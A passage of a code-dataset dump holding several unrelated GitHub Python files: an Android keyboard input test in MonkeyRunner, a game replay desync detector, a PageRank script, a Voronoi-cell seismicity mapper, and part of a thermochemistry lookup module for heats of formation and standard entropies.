480x854,需要根据机器分辨率和使用的输入法调节\ndict_arr = {'qx':62, 'wx':159, 'ex':277,'rx':377,'tx':477,'yx':577,'ux':677,'ix':777,'ox':877,'px':977,\n 'qy':1347,'wy':1347,'ey':1347,'ry':1347,'ty':1347,'yy':1347,'uy':1347,'iy':1347,'oy':1347,'py':1347,\n 'ax':112, 'sx':202, 'dx':307,'fx':402,'gx':502,'hx':602,'jx':702,'kx':812,'lx':930,\n 'ay':1512,'sy':1512,'dy':1512,'fy':1512,'gy':1512,'hy':1512,'jy':1512,'ky':1512,'ly':1512,\n 'zx':217, 'xx':317,'cx':417,'vx':517,'bx':617,'nx':800,'mx':910,\n 'zy':1667,'xy':1667,'cy':1667,'vy':1667,'by':1667,'ny':1667,'my':1667,\n '空格x':570,\n '空格y':1840,\n '回车x':978,\n '回车y':1840}\n\n \n#inputwords\nwords = ('concentraition',\n 'understansing',\n 'infrastrucyure',\n 'underdevelpmennt',\n 'endorrsemnt',\n 'conveertibility',\n 'depreciaetion',\n 'Avataars',\n 'Hashags',\n 'Scunthhorpe',\n 'Trollong',\n 'Spaam',\n 'Cupertimo',\n 'Geedks',\n 'Advancce',\n 'Bugdet',\n 'Bost',\n 'Conply',\n 'Collbaorate',\n 'Deisgn',\n 'Efficient',\n 'Enhane',\n 'Forcast',\n 'Genenrate',\n 'Hodt',\n 'Impllement',\n 'Invsetigate',\n 'Juistify',\n 'Lidt',\n 'Mainain',\n 'Negoitate',\n 'Obsirve',\n 'Prograam',\n 'Proect',\n 'Qialify',\n 'Recomend',\n 'Susntain',\n 'Schdule',\n 'Trijmph',\n 'Transate',\n 'Uodate',\n 'Upgrsd',\n 'Valiaate',\n 'Worlwide',\n 'calishtenics',\n 'pesumptuous',\n 'treacheerous',\n 'revererate',\n 'superabiundant',\n 'unentcumbered',\n 'Homogneously',\n 'MITt',\n 'Luree',\n 'substittion',\n 'peramnent',\n 'conventtion',\n 'magistreate',\n 'manuafcture',\n 'renissance',\n 'CAIz',\n 'acrophovia',\n 'ASArP',\n 'orcheestra',\n 'opiuim',\n 'oriendtation',\n 'accopmmodation',\n 'loby',\n 'bils',\n 'maximm',\n 'decroation',\n 'passaport',\n 'acceount',\n 'depolsit',\n 'stateent',\n 'PINe',\n 'compeetition',\n 'Voilunteer',\n 'festiveal',\n 'opea',\n 'thrller',\n 'gyn',\n 'annufal',\n 'receeption',\n 'gollf',\n 'squeash',\n 'matrsh',\n 'vallrey',\n 'cliffa',\n 'areeas',\n 'boooklet',\n 'anatonmy',\n 'Ctb',\n 'denetist',\n 'inventozry',\n 'margixn',\n 'reveonue',\n 'exrtanet',\n 'firewaull',\n 'virwus')\n\nTimes=0\nfor j in range(0,10000):\n for i in range(0,len(words)):\n word=words[i].lower()\n for key in list(word):\n device.touch(dict_arr.get(key+'x'),dict_arr.get(key+'y'),MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n Times=Times+1\n path = \"./pic/\"+str(Times)+\".png\"\n print (\"total times:\"+str(Times)+\",now input:=====>\"+word)\n MonkeyRunner.sleep(0.1)\n # 截屏\n #result = device.takeSnapshot()\n #print (\"takeshot\")\n MonkeyRunner.sleep(0.1)\n device.touch(dict_arr.get('空格x'),dict_arr.get('空格y'),MonkeyDevice.DOWN_AND_UP)\n #MonkeyRunner.sleep(0.1)\n #device.touch(dict_arr.get('回车x'),dict_arr.get('回车y'),MonkeyDevice.DOWN_AND_UP)\n # 保存截屏\n #result.writeToFile(path,'png')\n MonkeyRunner.sleep(0.2)\n if j%2==0:\n device.touch(806,1200,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(80,1336,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(250,1336,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(80,1185,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n else:\n device.touch(280,1200,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(140,1350,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(930,1350,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)\n device.touch(280,1200,MonkeyDevice.DOWN_AND_UP)\n MonkeyRunner.sleep(0.1)","repo_name":"enphoneh/monkeyrunner","sub_path":"src/monkeytest.py","file_name":"monkeytest.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32249900778","text":"import base64\nimport zlib\nfrom pprint import pprint\nfrom typing import Iterable\n\nfrom replay_parser.replay_parser import parse\n\nfrom base.robot import Base\nfrom config import REPLAY_DIR\nfrom utils.paths import get_dir_path\n\n\nclass DesyncDetector(Base):\n def get_data(self) -> Iterable:\n self.db_con.query(\"\"\"\n SELECT `game_player_stats`.`gameId`, GROUP_CONCAT(`login`.`login`)\n FROM `game_player_stats`\n INNER JOIN `login` ON `login`.`id` = `game_player_stats`.`playerId`\n WHERE `gameId` = '6176549'\n GROUP BY `game_player_stats`.`gameId`\n ORDER BY `game_player_stats`.`id` DESC\n LIMIT 4\n \"\"\")\n result = self.db_con.store_result()\n row = result.fetch_row()\n while row:\n yield row\n row = result.fetch_row()\n\n def process_data(self, data) -> None:\n game_id, usernames = data[0]\n usernames = usernames.decode().split(\",\")\n\n print(game_id, usernames)\n file_path = get_dir_path(REPLAY_DIR, int(game_id), \"scfareplay\")\n\n with open(file_path, \"rb\") as f:\n # f.readline() # json\n replay_data = f.read().strip()\n # replay_data = zlib.decompress(base64.b64decode(replay_data)[4:])\n result = parse(replay_data, parse_until_destync=True)\n pprint(result['desync_ticks'])\n print(\"\\n\")\n\n\n # 1. najdi replay\n # 2. otkroj\n # 3. replay_parser\n # 4. desync time\n # 5. replay time\n # 6. get players from replay\n # 7. get nicknames from server\n # 8. compare\n # 9. notify if differ\n # 10. exause us for maj bad inglish\n\n\nif __name__ == \"__main__\":\n DesyncDetector().run()\n","repo_name":"norraxx/faf-robots","sub_path":"src/desync_detector.py","file_name":"desync_detector.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"15105904081","text":"import copy\nimport csv\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass PageRanker:\n def __init__(self,iterations,scale,equilibrium=False):\n self.iterations = iterations\n self.equilibrium = equilibrium\n self.scale = scale\n #self.pages = []\n self.adjMatrix = []\n self.ranks = []\n\n def readdata(self,filename):\n with open (filename,'rb') as csvfile:\n reader = csv.reader(csvfile,delimiter=',')\n self.pages = reader.next()\n for row in reader:\n p = []\n for temp in row:\n p.append(int(temp))\n self.adjMatrix.append(p)\n #print self.adjMatrix\n #print self.pages\n\n def updateRank(self,n):\n temp = copy.copy(self.ranks)\n for i in range(n):\n self.ranks[i] = 0\n for j in range(n):\n if(self.adjMatrix[i][j] == 1):\n self.ranks[i] += temp[j]/self.outlinks[j]\n self.ranks = [round(x,3) for x in self.ranks]\n\n def ranker(self):\n n = len(self.pages)\n for i in range(n):\n self.ranks.append(1.0/n)\n self.outlinks = [sum(x) for x in zip(*self.adjMatrix)]\n if(self.equilibrium):\n temp = [0 for i in range(n)]\n while(temp!=self.ranks):\n temp = copy.copy(self.ranks)\n self.updateRank(n)\n else:\n for i in range(self.iterations):\n self.updateRank(n)\n for i in range(n):\n self.ranks[i] = self.ranks[i]*self.scale+(1-self.scale)/n\n #print self.ranks\n #print sum(self.ranks)\n\n\n def bargraph(self):\n y = np.arange(len(self.pages))\n plt.bar(y,self.ranks,align=\"center\",alpha=0.5)\n plt.xticks(y,self.pages)\n plt.ylabel(\"Rank (0-1)\")\n plt.title(\"PageRank Algorithm\")\n plt.show()\n global filename\n plt.savefig(filename[:-4])\n\nfilename = raw_input(\"Enter dataset file : \")\nequ = raw_input(\"Run until Equilibrium?(y/n) : \")\nscale = float(raw_input(\"Enter Scaling Factor(b/w 0.8 and 0.9 recommended & 1 in case of no scaling) : \"))\nif(equ == 'y'):\n p = PageRanker(0,scale,True)\nelse:\n iterations = int(raw_input(\"Enter no. of iterations : \"))\n p = PageRanker(iterations,scale)\np.readdata(filename)\np.ranker()\np.bargraph()\n","repo_name":"paipradeep/PageRank","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"74913426470","text":"import numpy as np\nimport pygmt\nimport pyproj\nfrom shapely.ops import transform\nfrom shapely import voronoi_polygons, clip_by_rect\nfrom shapely.geometry import MultiPoint, Polygon\nfrom shapely.strtree import STRtree\nfrom functools import partial\nfrom importlib.metadata import version\n\n\ndef polyarea(x,y):\n '''\n Return area of a polygon in squared coordinate units\n\n :param x, y: lists of polygon vertices X and Y coordinates\n :return: polygon area in squared coordinate units\n '''\n return 0.5*np.abs(np.dot(x,np.roll(y,1))-np.dot(y,np.roll(x,1)))\n\n\ndef polyarea_km2(polygon):\n '''\n Return the geodesic area of polygon in km^2 expressed in geographical coordinates (WGS84)\n\n :param polygon: input polygon, instance of class shapely.geometry.polygon.Polygon()\n :return: polygon area in km^2\n '''\n geod = pyproj.Geod(ellps=\"WGS84\") # TODO: Is it necessary to change projection for an equal-area-projection ???\n area = abs(geod.geometry_area_perimeter(polygon)[0])\n return area/1E6 # Area converted from m^2 to km^2\n\n\nclass VoronoiCellSubdivider():\n def __init__(self, lonlat, bounds = None):\n \"\"\"\n Initialization of VoronoiCellSubdivider instance\n\n :param lonlat: list of (lon, lat) coordinate pairs\n :param bounds: list, Bounding box for the Voronoi diagram, bounds = [lonmin, lonmax, latmin, latmax]\n \"\"\"\n if not isinstance(lonlat, list):\n raise ValueError('Input (lon,lat) tuples must be enclosed in a list, e.g. [(x1,y1), ..., (xn,yn)]')\n else:\n self.lonlat = np.array(lonlat)\n self.lonlat += np.random.rand(*self.lonlat.shape) * 0.000001 # Add < 1 m. random perturbation to avoid co-located earthquakes\n self.bounds = bounds\n self.run()\n\n def run(self):\n \"\"\"\n Build a net of Voronoi cells from a list of (lon, lat) coordinates\n \"\"\"\n if self.bounds is None:\n bounds = self.bounds\n else:\n lonmin = self.bounds[0]\n lonmax = self.bounds[1]\n latmin = self.bounds[2]\n latmax = self.bounds[3]\n self.nev_within_bounds = len(\n np.where((self.lonlat[:,0] >= lonmin)\n & (self.lonlat[:,0] <= lonmax)\n & (self.lonlat[:,1] >= latmin)\n & (self.lonlat[:,1] <= latmax))[0]\n )\n vpoly = voronoi_polygons(MultiPoint(self.lonlat.tolist()))\n self.polygons = clip_by_rect(vpoly, lonmin, latmin, lonmax, latmax)\n self.points = np.array([[lon, lat] for lon, lat in self.lonlat.tolist()])\n self.cells = [r.exterior.coords for r in self.polygons.geoms]\n self.areas = np.array([r.area for r in self.polygons.geoms])\n self.areas_unit = 'deg^2' # Square degrees\n self.density = 1 / self.areas # densities per unit area\n\n\n def map(self, colormap='red2green', colormap_reversal=False, colormap_nbins=30, logscale=False, clim=None,\n savefig=False, filename='cells.png', showfig=True, coast_resolution=\"i\", title=None, dpi=300,\n spatial_buffer=1.0):\n \"\"\"\n Draw a geographical map of Voronoi cells, colored as a function of density\n \"\"\"\n if self.bounds is None:\n bounds = [self.lonlat[:,0].min(), self.lonlat[:,0].max(), self.lonlat[:,1].min(), self.lonlat[:,1].max()]\n else:\n bounds = self.bounds\n\n z = self.density\n if logscale:\n z = np.log10(z)\n if clim is not None:\n clim = np.log10(clim)\n if clim is None:\n zlim_str = f'{z.min()}/{z.max()}/{colormap_nbins}+n'\n else:\n zlim_str = f'{min(clim)}/{max(clim)}/{colormap_nbins}+n'\n\n if title is None:\n figframe = 'a'\n else:\n figframe = ['a', f'+t\"{title}\"']\n # Prepare polygon data in a separate ASCII Table file for GMT:\n with open('polygons.gmt', 'wt') as fp:\n for i in range(len(self.polygons.geoms)):\n fp.write(f'> Polygon_{i}: -Z{z[i]}\\n')\n for plon, plat in self.polygons.geoms[i].exterior.coords:\n fp.write(f'{plon} {plat}\\n')\n fp.close()\n\n fig = pygmt.Figure()\n mapbounds = [bounds[0] - spatial_buffer, bounds[1] + spatial_buffer,\n bounds[2] - spatial_buffer, bounds[3] + spatial_buffer]\n fig.basemap(projection=\"M15c\", region=mapbounds, frame=figframe)\n fig.coast(borders=[\"1/0.5p,black\"], shorelines=[\"1/0.5p,black\"], resolution=coast_resolution,\n rivers=[\"1/0.5p,slategray1\"], lakes=[\"slategray1\"])\n pygmt.makecpt(cmap=colormap, reverse=colormap_reversal, series=zlim_str, output='palette.cpt')\n fig.plot(data='polygons.gmt', zvalue=True, pen=\"0.5p\", close=True, fill='+z', cmap='palette.cpt',\n transparency=70)\n cbar_title = f\"density per {self.areas_unit}\"\n if logscale:\n cbar_title = f'log10({cbar_title})'\n fig.colorbar(frame=f\"x+l{cbar_title}\", cmap='palette.cpt')\n\n if savefig:\n if isinstance(savefig, str):\n filename = savefig\n fig.savefig(filename, dpi=dpi)\n print(f'Figure saved in {filename}')\n if showfig:\n fig.show()\n\n\n def to_shapefile(self):\n print('Not implemented yet.')\n pass\n\n\n\ndef get_multi_index_in_polygon(polygon, multigeom):\n \"\"\"\n Returns the indices of elements in a MultiGeometrical object (i.e. MultiPoint, MultiPolygon) intersecting a\n Polygon object\n\n :param polygon: instance of shapely.geometry.Polygon object\n :param multigeom: instance of shapely.geometry.MultiPoint/MultiPolygon object\n :return: a list of indices\n \"\"\"\n mg = list(multigeom.geoms)\n tree = STRtree(mg)\n if int(version('shapely').split('.')[0]) < 2:\n index_by_id = dict((id(p), i) for i, p in enumerate(mg))\n indices = np.array(\n [index_by_id[id(p)] for p in tree.query(polygon)]) # only valid for shapely version < 2.0\n else:\n indices = tree.query(polygon) # only valid for shapely version >= 2.0.\n # Warning! IT appear that the list of indices returned differs slightly between version < and >= 2...\n # Is it because STRtree is not defined in the same manner (ordering of polygons) ?\n return indices\n","repo_name":"guyomd/sscmm","sub_path":"methods/polygons.py","file_name":"polygons.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"72230702309","text":"__all__ = ['Hfg', 'Hfl', 'Hfs', 'S0g', 'S0l', 'S0s',\n 'Hfl_methods', 'Hfg_methods', 'Hfs_methods',\n 'S0l_methods', 'S0g_methods', 'S0s_methods',\n 'Hfl_all_methods', 'Hfg_all_methods', 'Hfs_all_methods',\n 'S0l_all_methods', 'S0g_all_methods', 'S0s_all_methods',\n 'Gibbs_formation', 'entropy_formation', 'Hf_basis_converter',\n 'balance_stoichiometry', 'stoichiometric_matrix',\n 'stoichiometry_molar_to_mass', 'stoichiometry_mass_to_molar',\n 'standard_formation_reaction', 'stoichiometry_MW_error']\n\nfrom math import ceil, log10\n\nfrom chemicals import data_reader as dr\nfrom chemicals import heat_capacity, miscdata\nfrom chemicals.data_reader import (\n data_source,\n database_constant_lookup,\n list_available_methods_from_df_dict,\n register_df_source,\n retrieve_any_from_df_dict,\n retrieve_from_df_dict,\n)\nfrom chemicals.elements import periodic_table, simple_formula_parser\nfrom chemicals.utils import PY37, can_load_data, mark_numba_incompatible, os_path_join, source_path\n\n# %% Register data sources and lazy load them\nCRC = 'CRC'\nYAWS = 'YAWS'\nAPI_TDB_G = 'API_TDB_G'\nATCT_L = 'ATCT_L'\nATCT_G = 'ATCT_G'\nTRC = 'TRC'\n\nfolder = os_path_join(source_path, 'Reactions')\nregister_df_source(folder, 'API TDB Albahri Hf (g).tsv')\nregister_df_source(folder, 'ATcT 1.112 (g).tsv')\nregister_df_source(folder, 'ATcT 1.112 (l).tsv')\nregister_df_source(folder, 'Yaws Hf S0 (g).tsv')\nregister_df_source(folder, 'JANAF_1998.tsv')\n_reaction_data_loaded = False\ndef _load_reaction_data():\n global Hfg_API_TDB_data, Hfg_ATcT_data, Hfl_ATcT_data, Hfg_S0g_YAWS_data\n global Hfg_sources, Hfl_sources, Hfs_sources\n global S0g_sources, S0l_sources, S0s_sources\n global _reaction_data_loaded\n Hfg_API_TDB_data = data_source('API TDB Albahri Hf (g).tsv')\n Hfg_ATcT_data = data_source('ATcT 1.112 (g).tsv')\n Hfl_ATcT_data = data_source('ATcT 1.112 (l).tsv')\n Hfg_S0g_YAWS_data = data_source('Yaws Hf S0 (g).tsv')\n JANAF_1998_data = data_source('JANAF_1998.tsv')\n _reaction_data_loaded = True\n S0g_sources = {\n CRC: heat_capacity.CRC_standard_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n miscdata.JANAF: JANAF_1998_data,\n YAWS: Hfg_S0g_YAWS_data,\n }\n S0l_sources = {\n CRC: heat_capacity.CRC_standard_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n miscdata.JANAF: JANAF_1998_data,\n }\n S0s_sources = {\n CRC: heat_capacity.CRC_standard_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n }\n Hfg_sources = {\n ATCT_G: Hfg_ATcT_data,\n CRC: heat_capacity.CRC_standard_data,\n API_TDB_G: Hfg_API_TDB_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n TRC: heat_capacity.TRC_gas_data,\n miscdata.JANAF: JANAF_1998_data,\n YAWS: Hfg_S0g_YAWS_data,\n miscdata.JOBACK: miscdata.joback_predictions,\n }\n Hfl_sources = {\n ATCT_L: Hfl_ATcT_data,\n CRC: heat_capacity.CRC_standard_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n miscdata.JANAF: JANAF_1998_data,\n }\n Hfs_sources = {\n CRC: heat_capacity.CRC_standard_data,\n miscdata.WEBBOOK: miscdata.webbook_data,\n }\n\nif PY37:\n def __getattr__(name):\n if name in ('Hfg_API_TDB_data', 'Hfg_ATcT_data',\n 'Hfl_ATcT_data', 'Hfg_S0g_YAWS_data', 'JANAF_1998_data',\n 'Hfg_sources', 'Hfl_sources', 'Hfs_sources',\n 'S0g_sources', 'S0l_sources', 'S0s_sources'):\n _load_reaction_data()\n return globals()[name]\n raise AttributeError(f\"module {__name__} has no attribute {name}\")\nelse:\n if can_load_data:\n _load_reaction_data()\n\n\n# %% Lookup functions\n\n# TODO: more data from https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3692305/\n# has dippr standard heats of formation, about 55% of the database\n\nHfs_all_methods = (CRC, miscdata.WEBBOOK)\n\"\"\"Tuple of method name keys. See the `Hfs` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef Hfs_methods(CASRN):\n \"\"\"Return all methods available to obtain the solid-phase heat of\n formation for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the Hfs with the given\n inputs.\n\n See Also\n --------\n Hfs\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(Hfs_sources, CASRN, 'Hfs')\n\n@mark_numba_incompatible\ndef Hfs(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's solid/crystaline\n standard phase heat of formation. The lookup is based on CASRNs. Will\n automatically select a data source to use if no method is provided; returns\n None if the data is not available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n Hfs : float\n Solid standard-state heat of formation, [J/mol]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined by constants in\n Hfs_methods\n\n Notes\n -----\n Sources are:\n\n * 'CRC', from the CRC handbook (1360 values) [1]_\n * 'WEBBOOK' (2000 values) [2]_\n\n Examples\n --------\n >>> Hfs('101-81-5') # Diphenylmethane\n 71500.0\n\n See Also\n --------\n Hfs_methods\n\n References\n ----------\n .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n .. [2] Shen, V.K., Siderius, D.W., Krekelberg, W.P., and Hatch, H.W., Eds.,\n NIST WebBook, NIST, http://doi.org/10.18434/T4M88Q\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'Hfs')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(Hfs_sources, CASRN, 'Hfs', method)\n else:\n return retrieve_any_from_df_dict(Hfs_sources, CASRN, 'Hfs')\n\nHfl_all_methods = (ATCT_L, CRC, miscdata.WEBBOOK, miscdata.JANAF)\n\"\"\"Tuple of method name keys. See the `Hfl` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef Hfl_methods(CASRN):\n \"\"\"Return all methods available to obtain the standard liquid-state heat\n of formation for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the Hfl with the given\n inputs.\n\n See Also\n --------\n Hfl\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(Hfl_sources, CASRN, 'Hfl')\n\n@mark_numba_incompatible\ndef Hfl(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's liquid standard\n phase heat of formation. The lookup is based on CASRNs. Will automatically\n select a data source to use if no method is provided; returns None if\n the data is not available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n Hfl : float\n Liquid standard-state heat of formation, [J/mol]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined in the variable,\n `Hfl_all_methods`.\n\n Notes\n -----\n Sources are:\n\n * 'ATCT_L', the Active Thermochemical Tables version 1.112. [1]_\n * 'CRC', from the CRC handbook (1360 values) [2]_\n * 'WEBBOOK' (2000 values) [3]_\n\n Examples\n --------\n >>> Hfl('67-56-1')\n -238400.0\n\n See Also\n --------\n Hfl_methods\n\n References\n ----------\n .. [1] Ruscic, Branko, Reinhardt E. Pinzon, Gregor von Laszewski, Deepti\n Kodeboyina, Alexander Burcat, David Leahy, David Montoy, and Albert F.\n Wagner. \"Active Thermochemical Tables: Thermochemistry for the 21st\n Century.\" Journal of Physics: Conference Series 16, no. 1\n (January 1, 2005): 561. doi:10.1088/1742-6596/16/1/078.\n .. [2] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n .. [3] Shen, V.K., Siderius, D.W., Krekelberg, W.P., and Hatch, H.W., Eds.,\n NIST WebBook, NIST, http://doi.org/10.18434/T4M88Q\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'Hfl')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(Hfl_sources, CASRN, 'Hfl', method)\n else:\n return retrieve_any_from_df_dict(Hfl_sources, CASRN, 'Hfl')\n\nHfg_all_methods = (ATCT_G, TRC, CRC, miscdata.WEBBOOK, miscdata.JANAF, YAWS, miscdata.JOBACK)\n\"\"\"Tuple of method name keys. See the `Hfg` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef Hfg_methods(CASRN):\n \"\"\"Return all methods available to obtain the gas phase heat of formation\n for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the Hfg with the given\n inputs.\n\n See Also\n --------\n Hfg\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(Hfg_sources, CASRN, 'Hfg')\n\n@mark_numba_incompatible\ndef Hfg(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's gas heat of\n formation. Lookup is based on CASRNs. Will automatically select a data\n source to use if no method is provided; returns None if the data is not\n available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n Hfg : float\n Ideal gas phase heat of formation, [J/mol]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined by constants in\n Hfg_methods\n\n Notes\n -----\n Function has data for approximately 8700 chemicals. Sources are:\n\n * 'ATCT_G', the Active Thermochemical Tables version 1.112 (600 values) [1]_\n * 'TRC', from a 1994 compilation (1750 values) [2]_\n * 'CRC', from the CRC handbook (1360 values) [3]_\n * 'WEBBOOK', a NIST resource [6]_ containing mostly experimental\n and averaged values\n * 'JANAF', the 1998 JANAF values online\n * 'JOBACK', an estimation method for organic substances in [5]_\n * 'YAWS', a large compillation of values, mostly estimated (5000 values) [4]_\n\n 'TRC' data may have come from computational procedures, for example petane\n is off by 30%.\n\n Examples\n --------\n >>> Hfg('67-56-1')\n -200700.0\n >>> Hfg('67-56-1', method='YAWS')\n -200900.0\n >>> Hfg('67-56-1', method='CRC')\n -201000.0\n >>> Hfg('67-56-1', method='TRC')\n -190100.0\n\n See Also\n --------\n Hfg_methods\n\n References\n ----------\n .. [1] Ruscic, Branko, Reinhardt E. Pinzon, Gregor von Laszewski, Deepti\n Kodeboyina, Alexander Burcat, David Leahy, David Montoy, and Albert F.\n Wagner. \"Active Thermochemical Tables: Thermochemistry for the 21st\n Century.\" Journal of Physics: Conference Series 16, no. 1\n (January 1, 2005): 561. doi:10.1088/1742-6596/16/1/078.\n .. [2] Frenkel`, M. L, Texas Engineering Experiment Station, and\n Thermodynamics Research Center. Thermodynamics of Organic Compounds in\n the Gas State. College Station, Tex.: Thermodynamics Research Center,\n 1994.\n .. [3] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n .. [4] Yaws, Carl L. Thermophysical Properties of Chemicals and\n Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n Publishing, 2014.\n .. [5] Joback, K.G., and R.C. Reid. \"Estimation of Pure-Component\n Properties from Group-Contributions.\" Chemical Engineering\n Communications 57, no. 1-6 (July 1, 1987): 233-43.\n doi:10.1080/00986448708960487.\n .. [6] Shen, V.K., Siderius, D.W., Krekelberg, W.P., and Hatch, H.W., Eds.,\n NIST WebBook, NIST, http://doi.org/10.18434/T4M88Q\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'Hfg')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(Hfg_sources, CASRN, 'Hfg', method)\n else:\n return retrieve_any_from_df_dict(Hfg_sources, CASRN, 'Hfg')\n\nS0s_all_methods = (CRC, miscdata.WEBBOOK)\n\"\"\"Tuple of method name keys. See the `S0s` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef S0s_methods(CASRN):\n \"\"\"Return all methods available to obtain the absolute entropy of the\n compound in the solid phase for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the S0s with the given\n inputs.\n\n See Also\n --------\n S0s\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(S0s_sources, CASRN, 'S0s')\n\n@mark_numba_incompatible\ndef S0s(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's absolute\n entropy at a reference temperature of 298.15 K and pressure of 1 bar,\n in the solid state. Lookup is based on CASRNs. Will automatically select a\n data source to use if no method is provided; returns None if the data is not\n available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n S0s : float\n Ideal gas standard absolute entropy of compound, [J/mol/K]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined by constants in\n `S0s_all_methods`.\n\n Notes\n -----\n Sources are:\n\n * 'CRC' [1]_ from the CRC handbook (1360 values)\n * 'WEBBOOK', a NIST resource [2]_ containing mostly experimental\n and averaged values\n\n Examples\n --------\n >>> S0s('7439-93-2') # Lithium\n 29.1\n\n See Also\n --------\n S0s_methods\n\n References\n ----------\n .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n .. [2] Shen, V.K., Siderius, D.W., Krekelberg, W.P., and Hatch, H.W., Eds.,\n NIST WebBook, NIST, http://doi.org/10.18434/T4M88Q\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'S0s')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(S0s_sources, CASRN, 'S0s', method)\n else:\n return retrieve_any_from_df_dict(S0s_sources, CASRN, 'S0s')\n\nS0l_all_methods = (CRC, miscdata.WEBBOOK, miscdata.JANAF)\n\"\"\"Tuple of method name keys. See the `S0l` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef S0l_methods(CASRN):\n \"\"\"Return all methods available to obtain the absolute entropy for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the S0l with the given\n inputs.\n\n See Also\n --------\n S0l\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(S0l_sources, CASRN, 'S0l')\n\n@mark_numba_incompatible\ndef S0l(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's absolute\n entropy at a reference temperature of 298.15 K and pressure of 1 bar,\n in the liquid state.\n\n Lookup is based on CASRNs. Will automatically select a data\n source to use if no method is provided; returns None if the data is not\n available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n S0l : float\n Ideal gas standard absolute entropy of compound, [J/mol/K]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined in the variable,\n `S0l_all_methods`.\n\n Notes\n 